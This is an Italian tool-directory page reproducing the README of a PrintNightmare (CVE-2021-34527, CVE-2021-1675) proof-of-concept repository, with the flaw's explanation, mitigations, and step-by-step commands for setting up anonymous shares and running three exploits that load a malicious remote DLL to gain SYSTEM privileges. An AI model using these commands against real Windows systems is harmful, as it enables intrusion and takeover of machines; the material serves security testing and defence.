Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Vulnerabilità RCE/LPE del Windows Print Spooler (CVE-2021-34527, CVE-2021-1675) exploit proof of concept | Kitploit
Strumenti/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubnemo-wq/printnightmare-cve-2021-34527

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PrintNightmare-CVE-2021-34527

PrintNightmare - Vulnerabilità RCE/LPE del Windows Print Spooler (CVE-2021-34527, CVE-2021-1675) exploit proof of concept

Vedi Repository
175414 anni faRevisionato da Kitploit

PrintNightmare - Vulnerabilità RCE/LPE del servizio di stampa di Windows (CVE-2021-34527, CVE-2021-1675)

Riassunto

Si tratta di una vulnerabilità di esecuzione remota di codice che può essere utilizzata da un utente remoto autenticato per ottenere privilegi di livello SYSTEM su macchine Windows che eseguono il servizio di stampa. Un attaccante potrebbe quindi utilizzare tale accesso per creare nuovi account, tentare di installare programmi; visualizzare, modificare o eliminare dati; o creare nuovi account con diritti utente completi.

Questa vulnerabilità esiste a causa di un bug di bypass dell'autorizzazione nel servizio di stampa spoolsv.exe sui sistemi Windows, che consente agli utenti remoti autenticati di installare driver di stampa utilizzando la chiamata RPC RpcAddPrinterDriver e specificare un file driver situato in una posizione remota. Un utente malintenzionato che sfrutta questa vulnerabilità potrebbe ottenere privilegi di livello SYSTEM su un sistema Windows che esegue questo servizio iniettando DLL dannose come parte dell'installazione di un driver di stampa.

Sebbene Microsoft abbia rilasciato un aggiornamento per CVE-2021-1675, questo aggiornamento non protegge i controller di dominio di Active Directory o i sistemi Windows che hanno Point and Print configurato con l'opzione NoWarningNoElevationOnInstall.

Ci sono tre implementazioni di PoC exploit in questo repository:

  • Script Python CVE-2021-34527 di cube0x0
  • SharpPrintNightmare di cube0x0
  • EXP di afwu (Printnightmare)

Dettagli Tecnici

Sistemi Coinvolti

  • Tutte le versioni di Windows contengono il codice vulnerabile e sono vulnerabili a partire dal 4 luglio 2021. Gli exploit sono stati testati su Windows Server 2019 e Windows 10 Pro.

Exploit Proof of Concept

Poiché il servizio RPC consente alla macchina client di fornire una posizione per i driver di stampa da scaricare dal server remoto, è possibile utilizzare le seguenti opzioni di esempio per ospitare il payload e il percorso fornito durante l'esecuzione dell'exploit:

Configurazione Condivisione Samba

  • Unix/Linux:

    Per configurare l'accesso guest in Samba, è necessario impostare un utente con cui verrà effettuato il login. Assicurarsi che esista un utente smbuser nel sistema, altrimenti crearne uno con password password

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Modificare il file /etc/samba/smb.conf e abilitare l'accesso anonimo

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

Le seguenti sono istruzioni leggermente aggiornate rispetto a quelle fornite da cube0x0:

Script Python CVE-2021-34527

Questa è l'implementazione Impacket dell'exploit Printnightmare di cube0x0. Prima di eseguire l'exploit è necessario installare una versione modificata di Impacket:

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Utilizzo dell'Exploit:

Il codice dell'exploit per questa vulnerabilità deve essere eseguito utilizzando Python 3

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

La directory SharpPrintNightmare/ contiene l'implementazione in C# dell'exploit Printnightmare, sia per l'escalation dei privilegi locali (LPE) (CVE-2021-1675), che per l'esecuzione remota di codice (RCE). La funzionalità RCE richiede l'esecuzione con privilegi di amministratore locale sulla macchina che esegue l'exploit.

Utilizzo dell'Exploit:

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

Istruzioni per l'uso di EXP/ da afwu

Utilizzo dell'Exploit:

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

Mitigazioni/Contromisure

Determinare se il servizio di stampa è in esecuzione

Eseguire il seguente:

root@kitploit:~
Get-Service -Name Spooler

Se il servizio di stampa è in esecuzione o se non è impostato come disabilitato, selezionare una delle seguenti opzioni per disabilitare il servizio di stampa o disabilitare la stampa remota in entrata tramite Criteri di Gruppo:

Opzione 1 - Disabilitare il servizio di stampa

Se la disabilitazione del servizio di stampa è appropriata per la propria azienda, utilizzare i seguenti comandi PowerShell (raccomandazione di Microsoft):

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

o Disabilitare il servizio Spooler utilizzando il registro

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

o Disinstallare Print-Services

root@kitploit:~
Uninstall-WindowsFeature Print-Services

Questo disabiliterà la possibilità di stampare sia localmente che da remoto.

Opzione 2 - Disabilitare la stampa remota in entrata tramite Criteri di Gruppo

È anche possibile configurare le impostazioni tramite Criteri di Gruppo come segue:

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

Disabilitare il criterio “Consenti al servizio di stampa di accettare connessioni client:” per bloccare gli attacchi remoti.

Questo criterio bloccherà il vettore di attacco remoto impedendo le operazioni di stampa remota in entrata. Il sistema non funzionerà più come server di stampa, ma la stampa locale su un dispositivo collegato direttamente sarà ancora possibile.

Per ulteriori informazioni, vedere: Utilizzare le impostazioni dei Criteri di Gruppo per controllare le stampanti.

Riconoscimenti

  • Secondo il bollettino di sicurezza MSRC, questa vulnerabilità è stata segnalata da Zhipeng Huo, Piotr Madej e Zhang Yunhai.
  • cube0x0
  • afwu
Scarica lo strumento